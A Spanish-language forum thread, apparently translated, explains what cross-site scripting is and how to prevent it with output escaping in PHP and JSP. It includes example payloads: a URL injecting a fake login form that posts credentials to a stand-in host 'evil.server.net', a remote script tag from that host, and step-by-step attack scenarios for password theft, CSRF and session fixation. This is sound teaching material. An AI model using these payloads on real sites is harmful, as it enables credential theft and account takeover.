solve - ¿Cuál es el concepto general detrás de XSS?

xss solve (5)

Las secuencias de comandos entre sitios (XSS) son un tipo de vulnerabilidad de seguridad informática que generalmente se encuentra en las aplicaciones web que permiten a los atacantes maliciosos inyectar secuencias de comandos del lado del cliente en las páginas web que ven otros usuarios. Los atacantes pueden utilizar una vulnerabilidad explotada de secuencias de comandos entre sitios para omitir los controles de acceso, como la misma política de origen. Las secuencias de comandos entre sitios realizadas en sitios web representaban aproximadamente el 80% de todas las vulnerabilidades de seguridad documentadas por Symantec a partir de 2007.

De acuerdo, ¿significa esto que un pirata informático elabora un JS / VBscript malicioso y se lo entrega a la víctima desprevenida cuando visita un sitio legítimo que tiene entradas sin escapar?

Quiero decir, sé cómo se realiza la inyección SQL ....

¡Particularmente no entiendo cómo JS / VBscript puede causar tanto daño! Creo que solo se ejecutan dentro de los navegadores, pero aparentemente el daño varía desde el registro de teclas hasta el robo de cookies y los troyanos .

¿Es correcto mi comprensión de XSS? Si no, ¿alguien puede aclarar?

¿Cómo puedo evitar que XSS ocurra en mis sitios web? Esto parece importante; El 80% de las vulnerabilidades de seguridad significa que es un método extremadamente común para comprometer las computadoras.

¡No entiendo cómo JS / VBscript puede causar tanto daño!

De acuerdo. Supongamos que tiene un sitio y el sitio se sirve desde http://trusted.server.com/thesite . Digamos que este sitio tiene un cuadro de búsqueda, y cuando busca, la URL se convierte en: http://trusted.server.com/thesite?query=somesearchstring .

Si el sitio decide no procesar la cadena de búsqueda y la muestra en el resultado, como "Usted busca" somesearchstring "no produjo ningún resultado, entonces cualquiera puede inyectar HTML arbitrario en el sitio. Por ejemplo:

http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>

Entonces, en este caso, el sitio mostrará debidamente un formulario de inicio de sesión falso en la página de resultados de búsqueda, y si el usuario lo envía, enviará los datos al servidor malvado que no es de confianza. Pero el usuario no ve eso, esp. Si la URL es realmente larga, solo verán la primera pero, y asumirán que están tratando con trusted.server.com.

Las variaciones a esto incluyen la inyección de una etiqueta <script> que agrega controladores de eventos al documento para rastrear las acciones del usuario, o enviar la cookie del documento al servidor malvado. De esta manera puede esperar toparse con datos confidenciales como datos de inicio de sesión, contraseña o tarjeta de crédito. O puede intentar insertar un <iframe> un estilo especial que ocupe toda la ventana del cliente y sirva un sitio que se parece al original pero que en realidad se origina en evil.server.com. Siempre que se engañe al usuario para que use el contenido inyectado en lugar del original, la seguridad estará comprometida.

Este tipo de XSS se llama reflectivo y no persistente. Reflexivo porque la url se "re-reproduce" directamente en la respuesta y no es persistente porque el sitio real no se modifica, solo sirve como paso. Tenga en cuenta que algo así como https no ofrece ninguna protección aquí: el sitio en sí está dañado, porque hace un loro en la entrada del usuario a través de la cadena de consulta.

El truco ahora es conseguir que los usuarios confiados confíen en cualquier enlace que les des. Por ejemplo, puede enviarles un correo electrónico HTML e incluir un enlace atractivo que apunte a la URL forjada. O quizás pueda difundirlo en wikis, foros, etc. Estoy seguro de que puede apreciar lo fácil que es: es solo un enlace, ¿qué podría salir mal, verdad?

A veces puede ser peor. Algunos sitios realmente almacenan contenido proporcionado por el usuario. Ejemplo simple: comentarios en un blog o hilos en un foro. O puede ser más sutil: una página de perfil de usuario en una red social. Si esas páginas permiten html arbitrario, esp. El script, y este html proporcionado por el usuario se almacena y reproduce, entonces todos los que simplemente visitan la página que contiene este contenido están en riesgo. Esto es XSS persistente. Ahora los usuarios ya no necesitan hacer clic en un enlace, solo visitar es suficiente. Una vez más, el ataque real consiste en modificar la página a través de un script para capturar los datos del usuario.

La inyección de script puede ser contundente, por ejemplo, uno puede insertar un <script src="http://evil.server.net/script.js"> completo o puede ser sutil: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/> .

En cuanto a cómo protegerse: la clave es nunca dar salida a las entradas del usuario. Esto puede ser difícil si su sitio gira en torno al contenido provisto por el usuario con marcado.

Imagina un foro web. Un ataque XSS podría ser que haga una publicación con algún javascript. Cuando navegas a la página, tu página web cargará y ejecutará el js y hará lo que te digo. A medida que haya navegado a la página y lo más probable es que haya iniciado sesión, my javascript hará todo lo que tenga privilegios para hacer, como hacer una publicación, eliminar sus publicaciones, insertar spam, mostrar una ventana emergente, etc.

Entonces, el concepto real con XSS es que el script se ejecuta en su contexto de usuario, lo que es una escalada de privilegios. Debe tener cuidado de que en cualquier lugar de su aplicación que reciba la entrada del usuario se escape cualquier script, etc., para asegurarse de que no se pueda hacer un XSS.

Tienes que estar atento a los ataques secundarios. Imagínese si pongo un script malicioso en mi nombre de usuario. Eso podría entrar en el sitio web sin marcar, y luego volver a escribir sin marcar, pero luego cualquier página que se vea con mi nombre de usuario en realidad ejecutaría un script malicioso en su contexto de usuario.

Entrada de usuario de escape. No haga rodar su código para hacer esto. Revisa todo lo que entra y todo lo que sale.

Los problemas de los ataques XSS están más relacionados con la pesca. El problema es que un sitio en el que un cliente confía puede ser inyectado con un código que lleva al sitio creado por el atacante para cierto propósito. Robo de información sensible, por ejemplo.

Por lo tanto, en los ataques XSS, los intrusos no entran en su base de datos y no se meten con ella. Él está jugando con el sentido en el cliente de que este sitio es seguro y que todos los enlaces apuntan a un lugar seguro.

Este es solo el primer paso del ataque real: llevar al cliente al entorno hostil.

Te puedo dar un breve ejemplo. Por ejemplo, si una institución bancaria pone un grito en su página y no me impiden el ataque XSS, puedo gritar "¡Oye, entra en este enlace e ingresa las contraseñas y la tarjeta de crédito No para un control de seguridad!" ... Y sabes a dónde conducirá este enlace, ¿verdad?

Puede evitar los ataques XSS asegurándose de no mostrar nada en su página, que proviene de la entrada de los usuarios sin escapar de las etiquetas html. Los caracteres especiales deben escaparse para que no interfieran con el marcado de sus páginas html (o cualquier tecnología que use). Hay muchas bibliotecas que proporcionan esto, incluida la biblioteca Microsoft AntiXSS.

Recto hacia adelante xss

Encuentro que google tiene una vulnerabilidad xss
Escribo un script que vuelve a escribir una página pública de Google para que se vea exactamente igual que el inicio de sesión real de Google
Mi página falsa se envía a un servidor de terceros y, a continuación, vuelve a la página real
Obtengo contraseñas de las cuentas de Google, los usuarios no se dan cuenta de lo que sucedió, Google no sabe qué sucedió

XSS como plataforma para CSRF (esto supuestamente sucedió en realidad)

Amazon tiene una vulnerabilidad de csrf donde una cookie de "Mantener siempre conectado" le permite marcar una entrada como ofensiva
Encuentro una vulnerabilidad xss en un sitio de alto tráfico
Escribo un javascript que llega a las URL para marcar todos los libros escritos por autores gay / lesbianas en Amazon como ofensivos
Para Amazon, están recibiendo solicitudes válidas de navegadores reales con cookies de autenticación reales. Todos los libros desaparecen del sitio durante la noche.
El internet se vuelve loco.

XSS como plataforma para ataques de Fijación de Sesiones.

Encuentro un sitio de comercio electrónico que no restablece su sesión después de iniciar sesión (como cualquier sitio asp.net), tengo la capacidad de pasar el ID de sesión a través de una cadena de consulta o de una cookie, y almacena información de autenticación en la sesión (bastante común )
Encuentro una vulnerabilidad XSS en una página en ese sitio
Escribo un script que establece el ID de sesión al que controlo.
Alguien golpea esa página y se topa con mi sesión.
Se registran
Ahora tengo la capacidad de hacer lo que quiera, como comprar productos con tarjetas guardadas

Esos tres son los grandes. El problema con los ataques XSS, CSRF y Session Fixation es que son muy, muy difíciles de rastrear y corregir, y son realmente fáciles de permitir, especialmente si un desarrollador no sabe mucho sobre ellos.

Ya que las respuestas sobre cómo XSS puede ser malicioso ya están dadas, solo publicaré dos bonitas introducciones flash en XSS y responderé la siguiente pregunta sin respuesta:

¿Cómo puedo evitar que XSS ocurra en mis sitios web?

Aquí hay dos bonitas introducciones flash sobre XSS:

En cuanto a la prevención de XSS, es necesario que HTML se escape de cualquier entrada controlada por el usuario cuando esté a punto de volver a mostrarse en la página. Esto incluye encabezados de solicitud, parámetros de solicitud y cualquier entrada almacenada controlada por el usuario que se debe servir desde una base de datos. Especialmente < , > , " y '' deben escaparse, porque puede tener un formato incorrecto en el código HTML circundante donde se ha vuelto a mostrar esta entrada.

Casi cualquier tecnología de visualización proporciona formas integradas para escapar de las entities HTML (o XML, que también son suficientes).

En PHP puedes hacer eso con htmlspecialchars() . P.ej

<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">

Si también necesita escapar a comillas simples con esto, deberá proporcionar el argumento ENT_QUOTES , y también ver la documentación de PHP antes mencionada.

En JSP puedes hacer eso con JSTL <c:out> o fn:escapeXml() . P.ej

<input name="foo" value="<c:out value="${param.foo}" />">

<input name="foo" value="${fn:escapeXml(param.foo)}">

Tenga en cuenta que en realidad no necesita escapar de XSS durante el procesamiento de la solicitud, sino solo durante el procesamiento de la respuesta. No es necesario realizar un escape durante el procesamiento de la solicitud y puede generar un mal formato en la entrada del usuario tarde o temprano (y como administrador del sitio también le gustaría saber qué ha ingresado realmente el usuario en cuestión para que pueda realizar acciones sociales si es necesario). Con respecto a las inyecciones de SQL, solo escápelo durante el procesamiento de la solicitud en el momento en que los datos estén a punto de persistir en la base de datos.